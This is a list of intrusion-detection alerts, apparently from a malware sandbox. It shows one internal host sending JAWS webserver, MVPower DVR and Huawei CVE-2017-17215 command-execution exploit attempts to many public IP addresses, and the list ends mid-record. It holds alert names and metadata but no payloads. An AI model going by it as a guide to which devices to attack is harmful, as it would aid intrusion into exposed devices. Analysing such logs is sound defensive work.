ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.192.226.4

Timestamp:	04/14/24-04:01:32.633888
SID:	2030092
Source Port:	38940
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.206.59.2

Timestamp:	04/14/24-04:00:16.559489
SID:	2030092
Source Port:	51088
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.31.215.197

Timestamp:	04/14/24-04:00:39.668972
SID:	2025883
Source Port:	35426
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 136.22.132.205

Timestamp:	04/14/24-04:01:15.329563
SID:	2030092
Source Port:	53182
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 134.22.21.42

Timestamp:	04/14/24-04:00:52.180231
SID:	2030092
Source Port:	50836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 20.48.158.32

Timestamp:	04/14/24-04:01:32.233329
SID:	2025883
Source Port:	46702
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 217.198.1.19

Timestamp:	04/14/24-04:01:19.666106
SID:	2030092
Source Port:	47224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 117.180.238.129

Timestamp:	04/14/24-04:01:52.194222
SID:	2030092
Source Port:	53672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 213.32.98.93

Timestamp:	04/14/24-04:00:30.752645
SID:	2030092
Source Port:	43566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 20.8.142.206

Timestamp:	04/14/24-04:01:32.310027
SID:	2025883
Source Port:	45380
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 218.161.62.21

Timestamp:	04/14/24-04:01:04.547302
SID:	2025883
Source Port:	45884
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.223.72.7

Timestamp:	04/14/24-03:59:56.048241
SID:	2025883
Source Port:	40566
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.220.154.162

Timestamp:	04/14/24-04:00:38.705770
SID:	2030092
Source Port:	40596
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 216.47.49.134

Timestamp:	04/14/24-04:00:14.369222
SID:	2025883
Source Port:	41936
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.90.3

Timestamp:	04/14/24-04:01:02.017271
SID:	2835222
Source Port:	40690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 212.193.59.47

Timestamp:	04/14/24-04:01:28.779670
SID:	2025883
Source Port:	34912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.36.251.28

Timestamp:	04/14/24-04:01:28.387798
SID:	2030092
Source Port:	41256
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 103.69.247.47

Timestamp:	04/14/24-04:00:49.420488
SID:	2025883
Source Port:	47220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 69.168.3.9

Timestamp:	04/14/24-04:01:05.640382
SID:	2025883
Source Port:	48488
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 54.189.245.215

Timestamp:	04/14/24-04:01:49.397703
SID:	2030092
Source Port:	45338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 202.165.121.250

Timestamp:	04/14/24-04:00:52.276261
SID:	2025883
Source Port:	50288
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.36.0.173

Timestamp:	04/14/24-04:00:46.330679
SID:	2030092
Source Port:	37916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 47.238.160.6

Timestamp:	04/14/24-04:00:19.370645
SID:	2025883
Source Port:	44330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 143.204.37.147

Timestamp:	04/14/24-04:00:15.435478
SID:	2025883
Source Port:	43464
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.216.104.237

Timestamp:	04/14/24-03:59:56.606428
SID:	2030092
Source Port:	48870
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 42.63.59.207

Timestamp:	04/14/24-04:01:32.435681
SID:	2025883
Source Port:	50270
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 39.97.135.11

Timestamp:	04/14/24-04:00:33.657478
SID:	2025883
Source Port:	45096
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 12.175.64.146

Timestamp:	04/14/24-04:01:15.505683
SID:	2025883
Source Port:	52378
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 222.110.190.240

Timestamp:	04/14/24-04:01:45.278489
SID:	2030092
Source Port:	38626
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 45.132.241.41

Timestamp:	04/14/24-04:00:49.555559
SID:	2025883
Source Port:	54272
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 34.160.87.105

Timestamp:	04/14/24-04:00:49.181873
SID:	2030092
Source Port:	59204
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.207.99.217

Timestamp:	04/14/24-04:00:55.749746
SID:	2030092
Source Port:	60762
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 142.4.5.93

Timestamp:	04/14/24-04:01:17.869433
SID:	2025883
Source Port:	45314
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 167.172.166.210

Timestamp:	04/14/24-04:01:04.619479
SID:	2025883
Source Port:	56008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 209.200.111.176

Timestamp:	04/14/24-04:01:37.299626
SID:	2030092
Source Port:	38712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 34.196.170.79

Timestamp:	04/14/24-04:01:41.947462
SID:	2030092
Source Port:	54410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 42.193.19.169

Timestamp:	04/14/24-04:00:36.456797
SID:	2030092
Source Port:	58360
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 121.89.58.33

Timestamp:	04/14/24-04:00:37.818990
SID:	2025883
Source Port:	37356
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.62.250.71

Timestamp:	04/14/24-04:01:28.744099
SID:	2030092
Source Port:	35462
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 142.4.5.93

Timestamp:	04/14/24-04:01:17.869433
SID:	2030092
Source Port:	45314
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 13.33.18.73

Timestamp:	04/14/24-04:00:58.454675
SID:	2030092
Source Port:	42630
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.7.114.165

Timestamp:	04/14/24-04:01:13.648999
SID:	2030092
Source Port:	60352
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 37.27.15.34

Timestamp:	04/14/24-04:01:30.919032
SID:	2025883
Source Port:	35216
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.107.32.116

Timestamp:	04/14/24-04:01:41.951127
SID:	2030092
Source Port:	58414
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 156.250.20.101

Timestamp:	04/14/24-04:01:15.422866
SID:	2030092
Source Port:	47422
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 195.245.74.9

Timestamp:	04/14/24-04:00:49.352534
SID:	2030092
Source Port:	55966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 68.61.182.44

Timestamp:	04/14/24-04:00:26.769298
SID:	2025883
Source Port:	34058
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 112.90.95.147

Timestamp:	04/14/24-04:00:15.808010
SID:	2030092
Source Port:	40442
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 220.87.17.129

Timestamp:	04/14/24-04:01:00.520246
SID:	2030092
Source Port:	57910
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.95.247.76

Timestamp:	04/14/24-04:00:50.402186
SID:	2030092
Source Port:	47686
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 43.251.220.40

Timestamp:	04/14/24-04:01:49.957323
SID:	2025883
Source Port:	41678
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 96.11.0.254

Timestamp:	04/14/24-04:00:46.396147
SID:	2030092
Source Port:	41054
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 38.6.214.47

Timestamp:	04/14/24-04:01:35.490361
SID:	2025883
Source Port:	40972
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 2.23.10.85

Timestamp:	04/14/24-04:00:33.265487
SID:	2030092
Source Port:	41734
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.66.83.162

Timestamp:	04/14/24-04:01:17.739938
SID:	2030092
Source Port:	51766
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.193.158.255

Timestamp:	04/14/24-04:01:08.547468
SID:	2025883
Source Port:	55302
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 34.141.65.190

Timestamp:	04/14/24-04:01:22.718384
SID:	2030092
Source Port:	55160
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.154.216.239

Timestamp:	04/14/24-03:59:59.462809
SID:	2025883
Source Port:	44908
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 192.151.235.198

Timestamp:	04/14/24-04:00:55.425209
SID:	2030092
Source Port:	41840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 13.75.119.219

Timestamp:	04/14/24-04:00:36.415258
SID:	2025883
Source Port:	51988
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 156.250.20.101

Timestamp:	04/14/24-04:01:30.463731
SID:	2025883
Source Port:	48046
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 54.235.16.88

Timestamp:	04/14/24-04:01:04.420999
SID:	2025883
Source Port:	58066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 5.251.4.167

Timestamp:	04/14/24-04:00:55.508748
SID:	2030092
Source Port:	59846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.62.250.71

Timestamp:	04/14/24-04:01:28.744099
SID:	2025883
Source Port:	35462
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.212.130.139

Timestamp:	04/14/24-04:00:45.494615
SID:	2030092
Source Port:	53690
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 87.171.240.112

Timestamp:	04/14/24-04:00:22.051472
SID:	2025883
Source Port:	42794
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 156.250.20.101

Timestamp:	04/14/24-04:01:15.989466
SID:	2025883
Source Port:	47538
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 89.161.252.119

Timestamp:	04/14/24-04:00:29.353785
SID:	2025883
Source Port:	44460
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.210.180.200

Timestamp:	04/14/24-04:00:53.696847
SID:	2030092
Source Port:	53416
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 136.226.64.127

Timestamp:	04/14/24-04:01:08.130794
SID:	2025883
Source Port:	52936
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.153.99.160

Timestamp:	04/14/24-04:01:45.215574
SID:	2030092
Source Port:	59518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 72.8.195.236

Timestamp:	04/14/24-04:00:15.470994
SID:	2030092
Source Port:	36266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 45.85.76.45

Timestamp:	04/14/24-04:00:19.370793
SID:	2025883
Source Port:	45348
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 147.135.174.32

Timestamp:	04/14/24-04:00:55.403432
SID:	2025883
Source Port:	36780
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 95.17.49.95

Timestamp:	04/14/24-04:01:37.609587
SID:	2025883
Source Port:	57718
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.15.239.17

Timestamp:	04/14/24-04:00:57.919186
SID:	2030092
Source Port:	41400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.251.140.149

Timestamp:	04/14/24-04:01:30.455365
SID:	2030092
Source Port:	32868
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 107.146.234.158

Timestamp:	04/14/24-04:00:52.375717
SID:	2025883
Source Port:	42564
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.192.170.172

Timestamp:	04/14/24-04:01:36.478737
SID:	2030092
Source Port:	34494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 96.9.2.247

Timestamp:	04/14/24-04:01:32.213638
SID:	2030092
Source Port:	44506
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 50.87.191.161

Timestamp:	04/14/24-04:01:49.209097
SID:	2025883
Source Port:	46384
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 38.165.110.125

Timestamp:	04/14/24-04:01:35.657503
SID:	2025883
Source Port:	53810
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 209.200.67.104

Timestamp:	04/14/24-04:01:26.376231
SID:	2025883
Source Port:	34374
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.34.113.225

Timestamp:	04/14/24-04:01:45.192743
SID:	2025883
Source Port:	42326
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 68.182.254.113

Timestamp:	04/14/24-04:00:45.383975
SID:	2030092
Source Port:	60976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 123.56.125.186

Timestamp:	04/14/24-04:00:14.043374
SID:	2030092
Source Port:	48110
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 213.32.98.93

Timestamp:	04/14/24-04:00:30.752645
SID:	2025883
Source Port:	43566
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.88.189.249

Timestamp:	04/14/24-04:00:33.134868
SID:	2030092
Source Port:	56754
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 117.180.238.129

Timestamp:	04/14/24-04:01:45.437461
SID:	2025883
Source Port:	53148
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 41.60.17.174

Timestamp:	04/14/24-04:00:29.518350
SID:	2030092
Source Port:	47462
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 185.103.117.76

Timestamp:	04/14/24-04:01:03.822455
SID:	2025883
Source Port:	42510
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 175.243.11.88

Timestamp:	04/14/24-04:01:35.592248
SID:	2030092
Source Port:	49092
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 198.211.117.232

Timestamp:	04/14/24-03:59:55.965496
SID:	2030092
Source Port:	45488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 172.247.69.141

Timestamp:	04/14/24-04:00:21.771578
SID:	2025883
Source Port:	50184
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 188.150.117.221

Timestamp:	04/14/24-04:00:16.677255
SID:	2030092
Source Port:	42720
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.77.130.124

Timestamp:	04/14/24-04:00:19.956914
SID:	2829579
Source Port:	50190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 202.165.121.250

Timestamp:	04/14/24-04:00:52.276261
SID:	2030092
Source Port:	50288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 192.67.164.203

Timestamp:	04/14/24-04:01:24.505786
SID:	2025883
Source Port:	36866
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 42.29.49.205

Timestamp:	04/14/24-04:01:15.466685
SID:	2030092
Source Port:	35748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 192.185.167.102

Timestamp:	04/14/24-04:00:14.182047
SID:	2025883
Source Port:	59436
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 50.236.225.130

Timestamp:	04/14/24-04:00:46.399486
SID:	2025883
Source Port:	57734
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.47.140.224

Timestamp:	04/14/24-04:01:36.446584
SID:	2030092
Source Port:	55232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 46.8.153.39

Timestamp:	04/14/24-04:00:24.688215
SID:	2030092
Source Port:	58162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 156.250.20.101

Timestamp:	04/14/24-04:01:17.994947
SID:	2030092
Source Port:	47586
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 92.255.78.26

Timestamp:	04/14/24-04:01:02.407725
SID:	2030092
Source Port:	46128
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.216.214.244

Timestamp:	04/14/24-04:01:47.400631
SID:	2030092
Source Port:	48258
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 209.95.33.158

Timestamp:	04/14/24-04:00:49.209172
SID:	2030092
Source Port:	47000
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.9.52.207

Timestamp:	04/14/24-04:00:14.003839
SID:	2030092
Source Port:	59400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 186.7.208.72

Timestamp:	04/14/24-04:00:39.604665
SID:	2030092
Source Port:	41870
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 201.172.117.152

Timestamp:	04/14/24-04:00:51.824706
SID:	2025883
Source Port:	58046
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 89.19.45.154

Timestamp:	04/14/24-04:01:45.203190
SID:	2030092
Source Port:	46626
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 63.160.189.199

Timestamp:	04/14/24-04:00:13.969384
SID:	2025883
Source Port:	50872
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 187.45.195.230

Timestamp:	04/14/24-04:00:36.775036
